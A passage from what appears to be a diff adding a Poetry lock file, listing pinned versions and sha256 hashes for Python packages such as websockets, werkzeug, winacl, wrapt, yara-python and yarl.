"websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de36fe9c02995c7e6ae6efe2e205816f5f00c22fd1fbf343d4d18c3d5ceac2f5"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0ac56b661e60edd453585f4bd68eb6a29ae25b5184fd5ba51e97652580458998"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e052b8467dd07d4943936009f46ae5ce7b908ddcac3fda581656b1b19c083d9b"}, + {file = "websockets-11.0.3-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:42cc5452a54a8e46a032521d7365da775823e21bfba2895fb7b77633cce031bb"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e6316827e3e79b7b8e7d8e3b08f4e331af91a48e794d5d8b099928b6f0b85f20"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8531fdcad636d82c517b26a448dcfe62f720e1922b33c81ce695d0edb91eb931"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c114e8da9b475739dde229fd3bc6b05a6537a88a578358bc8eb29b4030fac9c9"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e063b1865974611313a3849d43f2c3f5368093691349cf3c7c8f8f75ad7cb280"}, + {file = "websockets-11.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:92b2065d642bf8c0a82d59e59053dd2fdde64d4ed44efe4870fa816c1232647b"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0ee68fe502f9031f19d495dae2c268830df2760c0524cbac5d759921ba8c8e82"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcacf2c7a6c3a84e720d1bb2b543c675bf6c40e460300b628bab1b1efc7c034c"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b67c6f5e5a401fc56394f191f00f9b3811fe843ee93f4a70df3c389d1adf857d"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d5023a4b6a5b183dc838808087033ec5df77580485fc533e7dab2567851b0a4"}, + {file = "websockets-11.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ed058398f55163a79bb9f06a90ef9ccc063b204bb346c4de78efc5d15abfe602"}, + {file = "websockets-11.0.3-py3-none-any.whl", hash = "sha256:6681ba9e7f8f3b19440921e99efbb40fc89f26cd71bf539e45d8c8a25c976dc6"}, + {file = "websockets-11.0.3.tar.gz", hash = "sha256:88fc51d9a26b10fc331be344f1781224a375b78488fc343620184e95a4b27016"}, +] + +[[package]] +name = "werkzeug" +version = "2.3.6" +description = "The comprehensive WSGI web application library." +optional = false +python-versions = ">=3.8" +files = [ + {file = "Werkzeug-2.3.6-py3-none-any.whl", hash = "sha256:935539fa1413afbb9195b24880778422ed620c0fc09670945185cce4d91a8890"}, + {file = "Werkzeug-2.3.6.tar.gz", hash = "sha256:98c774df2f91b05550078891dee5f0eb0cb797a522c757a2452b9cee5b202330"}, +] + +[package.dependencies] +MarkupSafe = ">=2.1.1" + +[package.extras] +watchdog = ["watchdog (>=2.3)"] + +[[package]] +name = "winacl" +version = "0.1.7" +description = "ACL/ACE/Security Descriptor manipulation library in pure Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "winacl-0.1.7-py3-none-any.whl", hash = "sha256:5d00ed1d2378823050b4eb87ff3e69d49cb3ecb8bf1e012b69afe15e3bdb2703"}, + {file = "winacl-0.1.7.tar.gz", hash = "sha256:ca662c091471a6c629d76c5eec63d8a1bf1af7c054348f09c1242f338850b2bd"}, +] + +[package.dependencies] +cryptography = ">=38.0.1" + +[[package]] +name = "wrapt" +version = "1.15.0" +description = "Module for decorators, wrappers and monkey patching." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" +files = [ + {file = "wrapt-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a"}, + {file = "wrapt-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923"}, + {file = "wrapt-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975"}, + {file = "wrapt-1.15.0-cp310-cp310-win32.whl", hash = "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1"}, + {file = "wrapt-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e"}, + {file = "wrapt-1.15.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7"}, + {file = "wrapt-1.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98"}, + {file = "wrapt-1.15.0-cp311-cp311-win32.whl", hash = "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416"}, + {file = "wrapt-1.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248"}, + {file = "wrapt-1.15.0-cp35-cp35m-win32.whl", hash = "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559"}, + {file = "wrapt-1.15.0-cp35-cp35m-win_amd64.whl", hash = "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639"}, + {file = "wrapt-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2"}, + {file = "wrapt-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1"}, + {file = "wrapt-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420"}, + {file = "wrapt-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653"}, + {file = "wrapt-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0"}, + {file = "wrapt-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e"}, + {file = "wrapt-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145"}, + {file = "wrapt-1.15.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7"}, + {file = "wrapt-1.15.0-cp38-cp38-win32.whl", hash = "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b"}, + {file = "wrapt-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1"}, + {file = "wrapt-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86"}, + {file = "wrapt-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9"}, + {file = "wrapt-1.15.0-cp39-cp39-win32.whl", hash = "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff"}, + {file = "wrapt-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6"}, + {file = "wrapt-1.15.0-py3-none-any.whl", hash = "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640"}, + {file = "wrapt-1.15.0.tar.gz", hash = "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"}, +] + +[[package]] +name = "yara-python" +version = "4.3.1" +description = "Python interface for YARA" +optional = false +python-versions = "*" +files = [ + {file = "yara-python-4.3.1.tar.gz", hash = "sha256:7af4354ee0f1561f51fd01771a121d8d385b93bbc6138a25a38ce68aa6801c2c"}, + {file = "yara_python-4.3.1-cp310-cp310-win32.whl", hash = "sha256:834d8fe2cdb5cf61d5e505d32c504b62891df5ce5af9f04dbd8c7575c1dbef30"}, + {file = "yara_python-4.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:ec05d0b7cc46728119d450875382d5386305510b8cfb14bad3627060c9e6f199"}, + {file = "yara_python-4.3.1-cp311-cp311-win32.whl", hash = "sha256:c8663f75f0c5f82e0f6053c9ddbddd97f956787bffb7f64cac1e40e0a21db89c"}, + {file = "yara_python-4.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:51f1bdbcdbcfa29a7a2cf7e7e5d6a7d8dbd00568e4ab6103adceda5a499895a6"}, + {file = "yara_python-4.3.1-cp37-cp37m-win32.whl", hash = "sha256:8847bb5e74d2b33cf48f372bed02805876ab2e414aa7fd50c16a7c6150316601"}, + {file = "yara_python-4.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:fbf8281a6eb538b5c219a9c54c65a910806e7adf28a7d878f2cff551cbbd43ea"}, + {file = "yara_python-4.3.1-cp38-cp38-win32.whl", hash = "sha256:fd70fe0ba522d4ecd73cbf45e528872844e61e2febe8f66e8a94c2674751b831"}, + {file = "yara_python-4.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:950377dd53d17870f66406f0db9ed9f6b04ac7e61c7f6fd5429459e2a00fd874"}, + {file = "yara_python-4.3.1-cp39-cp39-win32.whl", hash = "sha256:c032ad4ec6698a4f485b3d9721e6223028953bb61362482bdd7eabb147271e80"}, + {file = "yara_python-4.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f0b7b2ea840638415a075a25860dbcb6466d83000a8367196188a6367b01af71"}, +] + +[[package]] +name = "yarl" +version = "1.9.2" +description = "Yet another URL library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8c2ad583743d16ddbdf6bb14b5cd76bf43b0d0006e918809d5d4ddf7bde8dd82"}, + {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82aa6264b36c50acfb2424ad5ca537a2060ab6de158a5bd2a72a032cc75b9eb8"}, + {file = "yarl-1.9.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c0c77533b5ed4bcc38e943178ccae29b9bcf48ffd1063f5821192f23a1bd27b9"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee4afac41415d52d53a9833ebae7e32b344be72835bbb589018c9e938045a560"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bf345c3a4f5ba7f766430f97f9cc1320786f19584acc7086491f45524a551ac"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a96c19c52ff442a808c105901d0bdfd2e28575b3d5f82e2f5fd67e20dc5f4ea"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:891c0e3ec5ec881541f6c5113d8df0315ce5440e244a716b95f2525b7b9f3608"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c3a53ba34a636a256d767c086ceb111358876e1fb6b50dfc4d3f4951d40133d5"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:566185e8ebc0898b11f8026447eacd02e46226716229cea8db37496c8cdd26e0"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:2b0738fb871812722a0ac2154be1f049c6223b9f6f22eec352996b69775b36d4"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:32f1d071b3f362c80f1a7d322bfd7b2d11e33d2adf395cc1dd4df36c9c243095"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e9fdc7ac0d42bc3ea78818557fab03af6181e076a2944f43c38684b4b6bed8e3"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:56ff08ab5df8429901ebdc5d15941b59f6253393cb5da07b4170beefcf1b2528"}, + {file = "yarl-1.9.2-cp310-cp310-win32.whl", hash = "sha256:8ea48e0a2f931064469bdabca50c2f578b565fc446f302a79ba6cc0ee7f384d3"}, + {file = "yarl-1.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:50f33040f3836e912ed16d212f6cc1efb3231a8a60526a407aeb66c1c1956dde"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:646d663eb2232d7909e6601f1a9107e66f9791f290a1b3dc7057818fe44fc2b6"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aff634b15beff8902d1f918012fc2a42e0dbae6f469fce134c8a0dc51ca423bb"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a83503934c6273806aed765035716216cc9ab4e0364f7f066227e1aaea90b8d0"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b25322201585c69abc7b0e89e72790469f7dad90d26754717f3310bfe30331c2"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22a94666751778629f1ec4280b08eb11815783c63f52092a5953faf73be24191"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ec53a0ea2a80c5cd1ab397925f94bff59222aa3cf9c6da938ce05c9ec20428d"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:159d81f22d7a43e6eabc36d7194cb53f2f15f498dbbfa8edc8a3239350f59fe7"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:832b7e711027c114d79dffb92576acd1bd2decc467dec60e1cac96912602d0e6"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:95d2ecefbcf4e744ea952d073c6922e72ee650ffc79028eb1e320e732898d7e8"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d4e2c6d555e77b37288eaf45b8f60f0737c9efa3452c6c44626a5455aeb250b9"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:783185c75c12a017cc345015ea359cc801c3b29a2966c2655cd12b233bf5a2be"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b8cc1863402472f16c600e3e93d542b7e7542a540f95c30afd472e8e549fc3f7"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:822b30a0f22e588b32d3120f6d41e4ed021806418b4c9f0bc3048b8c8cb3f92a"}, + {file = "yarl-1.9.2-cp311-cp311-win32.whl", hash = "sha256:a60347f234c2212a9f0361955007fcf4033a75bf600a33c88a0a8e91af77c0e8"}, + {file = "yarl-1.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:be6b3fdec5c62f2a67cb3f8c6dbf56bbf3f61c0f046f84645cd1ca73532ea051"}, + {file = "yarl-1.9.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:38a3928ae37558bc1b559f67410df446d1fbfa87318b124bf5032c31e3447b74"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac9bb4c5ce3975aeac288cfcb5061ce60e0d14d92209e780c93954076c7c4367"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3da8a678ca8b96c8606bbb8bfacd99a12ad5dd288bc6f7979baddd62f71c63ef"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13414591ff516e04fcdee8dc051c13fd3db13b673c7a4cb1350e6b2ad9639ad3"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf74d08542c3a9ea97bb8f343d4fcbd4d8f91bba5ec9d5d7f792dbe727f88938"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e7221580dc1db478464cfeef9b03b95c5852cc22894e418562997df0d074ccc"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:494053246b119b041960ddcd20fd76224149cfea8ed8777b687358727911dd33"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:52a25809fcbecfc63ac9ba0c0fb586f90837f5425edfd1ec9f3372b119585e45"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:e65610c5792870d45d7b68c677681376fcf9cc1c289f23e8e8b39c1485384185"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:1b1bba902cba32cdec51fca038fd53f8beee88b77efc373968d1ed021024cc04"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:662e6016409828ee910f5d9602a2729a8a57d74b163c89a837de3fea050c7582"}, + {file = "yarl-1.9.2-cp37-cp37m-win32.whl", hash = "sha256:f364d3480bffd3aa566e886587eaca7c8c04d74f6e8933f3f2c996b7f09bee1b"}, + {file = "yarl-1.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6a5883464143ab3ae9ba68daae8e7c5c95b969462bbe42e2464d60e7e2698368"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5610f80cf43b6202e2c33ba3ec2ee0a2884f8f423c8f4f62906731d876ef4fac"}, + {file = 